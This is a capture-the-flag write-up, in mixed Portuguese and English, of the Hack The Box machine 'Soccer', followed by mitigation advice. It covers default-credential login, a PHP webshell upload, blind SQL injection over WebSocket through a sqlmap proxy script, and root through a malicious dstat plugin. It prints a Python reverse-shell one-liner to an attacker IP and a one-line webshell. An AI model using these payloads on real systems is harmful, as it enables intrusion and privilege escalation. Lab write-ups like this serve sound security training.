0xEtern4lW0lf
Hack The BoxEasyLinux

Soccer

7 min de leitura
#RCE#File Upload Bypass#SSH#Python#Sudo

Introdução

https://app.hackthebox.com/machines/Soccer Esta é uma máquina Linux de dificuldade fácil. We’ll starts by enumerating the port 80 where we find a web app,Tiny File Manager. As credenciais padrão foram encontradas na página do projeto no GitHub. Dentro da aplicação há uma função de upload de arquivo, que usamos para obter shell no servidor. In/etc/hostswe encontramos outro domínio que possui uma página web adicional. Nessa página, identificamos uma conexão via websocket. Usei um script em Python para traduzir as chamadas do websocket e permitir o uso do sqlmap sobre elas. It’s aBlind SQLi. Enumerando com o sqlmap, encontramos as credenciais do usuário player. Para escalar privilégios, executamos o doas como root rodando o dstat, no qual inserimos um plugin malicioso code .

Enumeração

First step is to enumerate the box. For this we’ll use nmap.

ports=$(sudo nmap -p- -Pn --min-rate=1000 -T4 10.10.11.194 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) && sudo nmap -Pn -sC -sV -p $ports 10.10.11.194

Nmap tell us there are three open ports 22 ssh****, 80 http  and 9091 ???.

Port 80 (http)

HTTP port redirect to http://soccer.htb/ Add that in /etc/hosts file. http://soccer.htb/

Fuzzing Diretório WEB

gobuster dir -u http://soccer.htb/ -w /usr/share/wordlists/dir/big.txt -t 100 -e --no-error -r -f -x php

There’re login page running web app Tiny File Manager. http://soccer.htb/tiny/ In source code, it informe the origen the tiny. view-source:http://soccer.htb/tiny/tinyfilemanager.php We find credential default the login page.

User: admin
Pass: admin@123 https://github.com/prasathmani/tinyfilemanager Login it.

Exploração

Getting the Shell - Upload File

Dentro da aplicação web é possível fazer upload de arquivos; então vamos injetar código PHP para obter uma reverse shell. I use webshell from pentest monkey. After execute webshell, we get shell as www-data.

Pós-Exploração

www-data → player

Enumerating the box, we found an other domain: soc-player.soccer.htb

cat /etc/hosts

Add that in /etc/hosts file. There’re a page with login http://soc-player.soccer.htb/ In login, we can create a user. After entering the user we created, enumerate the page We found that the page do a connection websocker in port 9091 I used Burp to visualize better I discovery Blind SQL Injection. Before I started to test this input for SQLi I looked at the page source code, and found a clue to how we will have to enumerate for the possible SQLi. Now that we know the URL to try against, and the connection type, we can now research a tool for this, as I’ve never done SQLi through WebSockets.

Refer: https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html I found the top result to be perfect fit for need, as they provide a python script to act as MITM for payloads, as like a translator; now we can use this with sqlmap. Need to modify ‘ws_server’ and ‘data’ to fit our needs.

from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection

ws_server = "ws://soc-player.soccer.htb:9091"

def send_ws(payload):
        ws = create_connection(ws_server)
        # If the server returns a response on connect, use below line   
        #resp = ws.recv() # If server returns something like a token on connect you can find and extract from >
        
        # For our case, format the payload in JSON
        message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
        data = '{"id":"%s"}' % message

        ws.send(data)
        resp = ws.recv()
        ws.close()

        if resp:
                return resp
        else:
                return ''

def middleware_server(host_port,content_type="text/plain"):

        class CustomHandler(SimpleHTTPRequestHandler):
                def do_GET(self) -> None:
                        self.send_response(200)
                        try:
                                payload = urlparse(self.path).query.split('=',1)[1]
                        except IndexError:
                                payload = False

                        if payload:
                                content = send_ws(payload)
                        else:
                                content = 'No parameters specified!'

                        self.send_header("Content-type", content_type)
                        self.end_headers()
                        self.wfile.write(content.encode())
                        return

        class _TCPServer(TCPServer):
                allow_reuse_address = True

        httpd = _TCPServer(host_port, CustomHandler)
        httpd.serve_forever()
sqlmap -u http://localhost:8081/?id=1 --dump-all --exclude-sysdbs

After a long while, sqlmap finds soccer_db and the username player. Agora podemos testar as credenciais recém-descobertas contra o serviço SSH do servidor; o login é bem-sucedido e capturamos a flag de usuário.

ssh player@soccer.htb

Pass: PlayerOftheMatch2022

Player → Root

I first check sudo permissions, but none were available, and the user wasn’t in any other groups. Here I ran linpeas and found a few mentions of ‘doas’, which isn’t a software installed by default.

O doas é um software com a mesma função do mais conhecido sudo, porém sem os recursos extras que o sudo possui por design, como suporte a Kerberos e LDAP. Também é desenvolvido e mantido pela equipe por trás do OpenBSD. I will check its default /etc/doas.conf location.

find / -type f -name doas.conf 2>/dev/null

We found it, and it has substance. User ‘player’ is allowed to use root for dstat. Upon first thought, I’d never used dstat, so I looked at the tool by running it, and it was a tool for monitoring usage of a server. So now I look in the man page for it. Within the man page’s ‘PLUGINS’ seção, é mencionada a possibilidade de escrever plugins próprios para a ferramenta; e mais abaixo, como a imagem acima mostra, aparecem os diversos caminhos onde nossos plugins customizados podem ser armazenados. Quanto à convenção de nomenclatura is ‘dstat_*.py’ . We can now create our file dstat_evil.py.

import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.7",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")

Now I run doas.

doas -u root /usr/bin/dstat --evil

HABEMUS ROOT!!!

Anexos

Ferramentas e scripts utilizados durante o teste:

  • Nmap — varredura de portas e detecção de serviços/versões.
  • Tiny File Manager (credenciais padrão) — acesso inicial ao gerenciador de arquivos exposto na aplicação web.
  • Webshell PHP simples (<?php system($_REQUEST["cmd"]); ?>) — enviado via upload do Tiny File Manager para obter execução de comandos.
  • Script Python (pty/socket) — usado para obter uma reverse shell interativa a partir da webshell, conectando de volta à máquina atacante.
  • Script Python para encapsular sqlmap sobre WebSocket — como o sqlmap não conversa nativamente com WebSocket da forma exigida pela aplicação, foi usado um script intermediário para repassar os payloads da injeção ao endpoint ws://soc-player.soccer.htb:9091.
  • sqlmap — exploração e automação da SQL Injection cega (Blind SQLi), incluindo enumeração de bancos, tabelas e dump da tabela de contas.
  • doas — usado (de forma abusiva) para escalar privilégios executando o dstat como root.
  • Plugin Python malicioso para dstat — plugin customizado colocado em um diretório com permissão de escrita para o usuário player, executado automaticamente pelo dstat ao rodar como root, entregando uma shell root.

Mitigação

Recomendações práticas para corrigir as falhas exploradas nesta máquina:

  • Nunca usar credenciais padrão em produção. O Tiny File Manager foi comprometido porque o usuário/senha padrão (admin/admin@123 e user/12345) nunca foi alterado. Toda aplicação com autenticação embutida deve ter suas credenciais padrão trocadas imediatamente após a instalação.
  • Restringir upload de arquivos executáveis. O gerenciador de arquivos permitia upload de arquivos .php em um diretório servido publicamente pelo nginx/PHP-FPM. É preciso bloquear extensões executáveis no upload, validar o conteúdo do arquivo (e não apenas a extensão) e, idealmente, armazenar uploads fora da raiz web ou em diretórios sem permissão de execução de scripts.
  • Restringir o acesso a ferramentas administrativas expostas na web. Um painel como o Tiny File Manager não deveria estar acessível publicamente sem controles adicionais (autenticação multifator, restrição por IP, VPN).
  • Validar e sanitizar toda entrada de usuário, inclusive em WebSockets. A aplicação Node/Express que validava tickets via WebSocket montava a query diretamente com o valor recebido, permitindo SQL Injection cega. Deve-se usar consultas parametrizadas (prepared statements) em qualquer canal de comunicação, não só em formulários HTTP tradicionais.
  • Nunca armazenar ou transmitir senhas em texto puro. A senha do usuário player foi encontrada em texto claro na tabela accounts do banco de dados. Senhas devem ser sempre armazenadas com hash forte (bcrypt, Argon2) e nunca reutilizadas entre múltiplos serviços (a mesma senha dava acesso ao MySQL e ao SSH).
  • Revisar regras do doas/sudo e permissões de diretórios de plugins. Permitir que um usuário não privilegiado execute como root uma ferramenta que carrega plugins de diretórios graváveis por esse mesmo usuário (como /usr/local/share/dstat) anula completamente o controle de privilégio. Diretórios usados por binários com doas/sudo NOPASSWD devem ser protegidos contra escrita por usuários não-root, e o uso de comandos com efeitos colaterais amplos (como ferramentas que carregam plugins arbitrários) deve ser evitado em regras de elevação de privilégio.
  • Aplicar o princípio do menor privilégio. Reduzir ao mínimo indispensável os comandos liberados via doas/sudo, evitando liberar ferramentas genéricas que podem ser abusadas para execução de código arbitrário.